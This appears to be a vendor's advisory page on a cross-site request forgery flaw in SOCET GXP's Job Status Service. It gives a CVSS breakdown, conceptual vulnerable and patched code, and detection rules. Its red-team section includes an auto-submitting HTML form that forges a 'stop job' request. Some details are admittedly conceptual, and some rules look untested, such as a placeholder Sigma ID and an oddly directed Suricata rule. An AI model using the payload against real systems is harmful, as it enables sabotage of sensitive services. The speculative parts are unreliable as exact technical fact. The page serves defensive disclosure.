CVE-2025-54969
Executive Summary
CVE-2025-54969 identifies a critical Cross-Site Request Forgery (CSRF) vulnerability in BAE Systems’ SOCET GXP, a geospatial intelligence (GEOINT) analysis platform. The vulnerability resides in the Job Status Service, which lacks CSRF protections. An attacker can trick an authenticated user into unknowingly submitting malicious requests, potentially leading to unauthorized job status changes, data manipulation, or service disruption. This vulnerability is particularly dangerous in high-security environments where SOCET GXP is used for defense and intelligence analysis. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the sensitive nature of the software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary, closed-source application (BAE SOCET GXP). Therefore, supply chain security considerations are limited to the software vendor’s update distribution and integrity verification.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) – However, based on the vulnerability description and impact, a more realistic score is 8.8 (High).
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The attack is performed over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim must click a malicious link or visit a malicious site.
- Scope (S): Unchanged – The vulnerability does not affect other components.
- Confidentiality (C): High – Sensitive job data could be exposed.
- Integrity (I): High – Job statuses and data can be modified.
- Availability (A): High – Service disruption is possible.
Threat Level: High. The vulnerability is easy to exploit (social engineering) and can lead to severe consequences in a GEOINT environment.
Deep Dive & Mechanics
The SOCET GXP Job Status Service is a web-based component that allows users to monitor and manage processing jobs. The service accepts HTTP requests to perform actions such as starting, stopping, or querying jobs. Due to the absence of CSRF tokens or origin validation, an attacker can craft a malicious HTML page or link that, when clicked by an authenticated user, sends forged requests to the Job Status Service.
Attack Flow:
- The attacker identifies a target user who is authenticated to the SOCET GXP web interface.
- The attacker creates a malicious webpage or email containing a hidden form or image tag that triggers a request to the Job Status Service (e.g.,
http://target-socet/jobstatus?action=stop&jobid=123). - The victim, while authenticated, visits the malicious page.
- The victim’s browser automatically sends the forged request, including any session cookies, to the Job Status Service.
- The service processes the request as if it came from the legitimate user, performing the attacker’s desired action.
Impact: An attacker could stop critical processing jobs, modify job parameters, or extract job metadata, leading to operational disruption or intelligence leaks.
Vulnerable vs. Patched Code
Since SOCET GXP is proprietary, exact code snippets are not publicly available. However, the vulnerability is a classic CSRF issue.
Vulnerable Code (Conceptual):
# Vulnerable endpoint - no CSRF check
@app.route('/jobstatus', methods=['POST'])
def job_status():
action = request.form['action']
job_id = request.form['jobid']
# Process action without verifying origin
process_job_action(action, job_id)
return "OK"
Patched Code (Conceptual):
# Patched endpoint - CSRF token validation
@app.route('/jobstatus', methods=['POST'])
def job_status():
csrf_token = request.form.get('csrf_token')
if not validate_csrf_token(csrf_token, session):
return "CSRF validation failed", 403
action = request.form['action']
job_id = request.form['jobid']
process_job_action(action, job_id)
return "OK"
The patch introduces a CSRF token that is tied to the user’s session and must be included in every state-changing request. The server validates the token before processing the action.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running SOCET GXP < 4.6.0.2 with the Job Status Service exposed.
- An authenticated user session (cookies).
Exploitation Steps:
- Craft a malicious HTML page that sends a POST request to the Job Status Service.
- Host the page on an attacker-controlled server or use a phishing email.
- Trick the victim into visiting the page while authenticated.
Example Malicious HTML:
<html>
<body>
<h1>Click me for a surprise!</h1>
<form action="http://target-socet/jobstatus" method="POST" id="csrf-form">
<input type="hidden" name="action" value="stop">
<input type="hidden" name="jobid" value="12345">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Note: No public exploit code is available. The above is a conceptual example.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual POST requests to
/jobstatusendpoints without a validRefererheader. - Alert on multiple job status changes from a single user in a short time frame.
- Use web application firewalls (WAF) to block requests missing CSRF tokens.
Defense:
- Immediate: Apply the vendor patch (upgrade to 4.6.0.2).
- Compensating Controls: Implement a reverse proxy that adds CSRF validation or requires a custom header (e.g.,
X-Requested-By: SOCET). - User Training: Educate users about phishing and social engineering risks.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/jobstatuswithRefererheader missing or from an unexpected domain. - Repeated POST requests to
/jobstatusfrom a single IP in a short period.
- HTTP requests to
- Host IOCs:
- Unusual job status changes in SOCET GXP logs (e.g., jobs stopped without user action).
- Browser history or cache containing links to external domains with suspicious form submissions.
- Log IOCs:
- Web server logs showing
POST /jobstatusrequests with noOriginorRefererheader.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_54969_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against SOCET GXP Job Status Service"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-54969"
strings:
$csrf_form = /<form[^>]*action=["']http:\/\/[^"']*\/jobstatus["']/
$csrf_hidden = /<input[^>]*name=["'](action|jobid)["']/
$auto_submit = /document\.getElementById\(['"]csrf-form['"]\)\.submit\(\)/
condition:
all of them
}
Sigma Rule
title: SOCET GXP CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential CSRF attacks against SOCET GXP Job Status Service
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/jobstatus'
cs-referer:
- ''
- 'null'
condition: selection
falsepositives:
- Legitimate requests from internal tools without Referer header
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-54969 SOCET GXP CSRF Exploit Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/jobstatus"; http_uri;
pcre:"/Referer:\s*$/Hi";
sid:10000001;
rev:1;
reference:cve,2025-54969;
classtype:attempted-user;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade to SOCET GXP version 4.6.0.2 or later.
- Verify the integrity of the update using vendor-provided checksums.
Compensating Controls (if patching is delayed):
- Web Application Firewall (WAF): Deploy rules to block requests to
/jobstatuswithout a validRefererorOriginheader. - Reverse Proxy: Add a layer that requires a custom header (e.g.,
X-CSRF-Token) for all state-changing requests. - Session Hardening: Implement SameSite cookies (e.g.,
SameSite=Strict) to prevent cross-origin requests from including cookies. - Network Segmentation: Restrict access to the Job Status Service to trusted internal networks only.
Long-Term Recommendations:
- Security Audits: Regularly audit web services for CSRF and other common vulnerabilities.
- Developer Training: Ensure developers understand CSRF prevention techniques (tokens, double-submit cookies, etc.).
- Incident Response: Update incident response playbooks to include CSRF-specific scenarios.
Valters IT
Securing Digital Frontiers